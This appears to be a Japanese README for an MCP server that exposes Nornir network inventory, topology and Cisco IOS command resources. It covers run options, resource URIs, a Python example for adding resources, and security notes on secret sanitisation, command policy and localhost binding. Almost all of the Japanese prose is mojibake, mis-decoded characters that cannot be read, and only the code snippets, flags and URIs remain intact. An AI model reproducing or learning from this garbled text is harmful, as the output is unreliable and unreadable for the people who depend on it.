- ãµãŒããŒãããŒã«ã«ã§å®è¡ããŸãïŒããã©ã«ãã§ã¯ 127.0.0.1:8000 ã«ãã€ã³ãããŸããã³ã³ãããŒçšããŸãã¯ä»ã®ãã·ã³ã«å
¬éããå Žåã¯
--host 0.0.0.0ãæž¡ããŸãïŒïŒ
python run.py
ãŸãã¯ãuv ã䜿ãå ŽåïŒä»å±ã®ã©ã³ããŒã䜿ãå Žåã«æšå¥šïŒïŒ
uv run .\run.py
ãã¹ããããŒãã倿Žããã«ã¯ãrun.py ã®å®è¡æã« --host ãš --port ãã©ã°ãæå®ããŠãã ããã
ð ãµãŒããŒãæäŸãããªãœãŒã¹
resource://inventory/hostsâ ãµãã¿ã€ãºããããã£ãŒã«ãïŒnameãhostnameãplatformãgroupsãdataïŒãå«ããã¹ãã® JSON é åãè¿ããŸããusernameãpasswordãsecretãªã©ã®æ©å¯ããŒã¯åé€ãããŸããresource://inventory/hosts/{keyword}â nameãhostnameãplatformãã°ã«ãŒãåããŸãã¯ããŒã¿å€ã«äžèŽããããŒã¯ãŒãã§çµã蟌ãã ãåã圢åŒã®åºåãè¿ããŸãïŒäžèŽå€å®ã§ã¯å€§æåãšå°æåãåºå¥ããŸããïŒãresource://inventory/groupsâ ã°ã«ãŒãã®ãããã³ã°ãè¿ããŸãïŒãµãã¿ã€ãºæžã¿ïŒãresource://topologyâresources/topology.jsonãè§£æãããã®ã§ããresource://cisco_ios_commandsâresources/cisco_ios_commands.jsonãè§£æãããã®ã§ãã
ç¬èªã®ãªãœãŒã¹ã远å ããæ¹æ³
resources.pyãç·šéããresource_<name>ãšããååã®é¢æ°ã远å ããŸãïŒäŸïŒresource_my_toolsïŒã- 颿°ã§ Nornir ãããŒãžã£ãŒãå¿
èŠãªå Žåã¯ã
nr_mgrãšããååã®åäžã®ãã©ã¡ãŒã¿ãŒãåãåãããã«ããŸãã - ã«ã¹ã¿ã URI ã䜿ãå Žåã¯
RESOURCE_MAPã«ãšã³ããªãŒã远å ããŸãã远å ããªãå Žåã¯ãããã©ã«ã URIresource://user/<name>ã䜿ãããŸãã
resources.py ã®ã³ãŒãäŸ
def resource_my_static():
return {"hello": "world"}
def resource_my_hosts(nr_mgr):
# returns a JSON-serializable list of hosts
return nr_mgr.list_hosts()
ð ã»ãã¥ãªãã£ã«é¢ããæ³šæäºé
- ã€ã³ãã³ããªã® YAML ãã¡ã€ã«ã«ã¯èªèšŒæ å ±ãå«ãŸããŠããå ŽåããããŸããæ¬çªç°å¢ã§ã¯ãå¹³æã® YAML ãããã·ãŒã¯ã¬ãã管çïŒVaultãç°å¢å€æ°ããŸã㯠Nornir ã®ã·ãŒã¯ã¬ãããã©ã°ã€ã³ïŒãåªå ããŠãã ããã
- ãµãŒããŒã¯ã
resource://inventory/*çµç±ã§æäŸããããªãœãŒã¹ãããäžè¬çãªæ©å¯ããŒïŒusernameãpasswordãsecretïŒãé€å»ããŸãã send_commandã¯conf/command_policy.yamlã«ãã£ãŠå¶éãããŠããŸãã詳ããã¯ãäžèšã®ã³ãã³ãå®è¡ãšã»ãã¥ãªãã£ããªã·ãŒãåç §ããŠãã ããã- ãµãŒããŒã¯ããã©ã«ãã§
0.0.0.0ã§ã¯ãªã127.0.0.1ã«ãã€ã³ãããŸãããã®ãµãŒããŒã¯å®éã®ããã€ã¹ã«èšå®ãããã·ã¥ããããã³ãã³ããå®è¡ãããã§ããããããã¹ãŠã®ã€ã³ã¿ãŒãã§ãŒã¹ã§åŸ ã¡åããèšå®ã«ã¯ãªã£ãŠããŸãããä»ã®ãã·ã³ããã¢ã¯ã»ã¹å¯èœã«ããå¿ èŠãããå ŽåïŒäŸïŒDocker å ïŒã¯ãæç€ºçã«--host 0.0.0.0ãæž¡ããŠãã ããã conf/ssh_configïŒå®éã®èžã¿å°ãã¹ãèšå®ïŒã¯ãå éšãã¹ãåããããã·ã®ããããžãŒãæŒããå¯èœæ§ããããããgitignore ã«ç»é²ãããŠããŸããã³ããããããŠããã®ã¯conf/ssh_config.exampleã®ã¿ã§ãã
ã³ã³ããªãã¥ãŒã·ã§ã³
- 倿Žãææ¡ããå Žåã¯ãissue ãŸã㯠PR ãäœæããŠãã ããã倿Žã¯å°èŠæš¡ã«ä¿ã¡ãé©åãªå Žåã¯ãã¹ããå«ããŠãã ããã
ã©ã€ã»ã³ã¹
- MIT
ã³ã¡ã³ã
MCP ã¯åããŠã§ããïŒ
ãããã³ã«ã®æŠèŠããæåã®ãµãŒããŒã®å°å ¥ãŸã§ãããããçåã«ãŸãšããŠçããŸãã
AI ã¢ããªã±ãŒã·ã§ã³ãå€éšã®ããŒã«ãããŒã¿ãœãŒã¹ã«çµ±äžçãªæ¹æ³ã§æ¥ç¶ããããã®ãªãŒãã³ãªãããã³ã«ã§ããã¯ã©ã€ã¢ã³ãã¯ã¢ãã«ãšã®å¯Ÿè©±ãæ ããMCP ãµãŒããŒã¯ããŒã«ã»ãªãœãŒã¹ã»ããã³ãããã³ãã¬ãŒããæäŸããŸããæšæºã¡ãã»ãŒãžã§ããåãããããã1 ã€ã®ãµãŒããŒãè€æ°ã®ã¯ã©ã€ã¢ã³ãã§åå©çšã§ããŸãã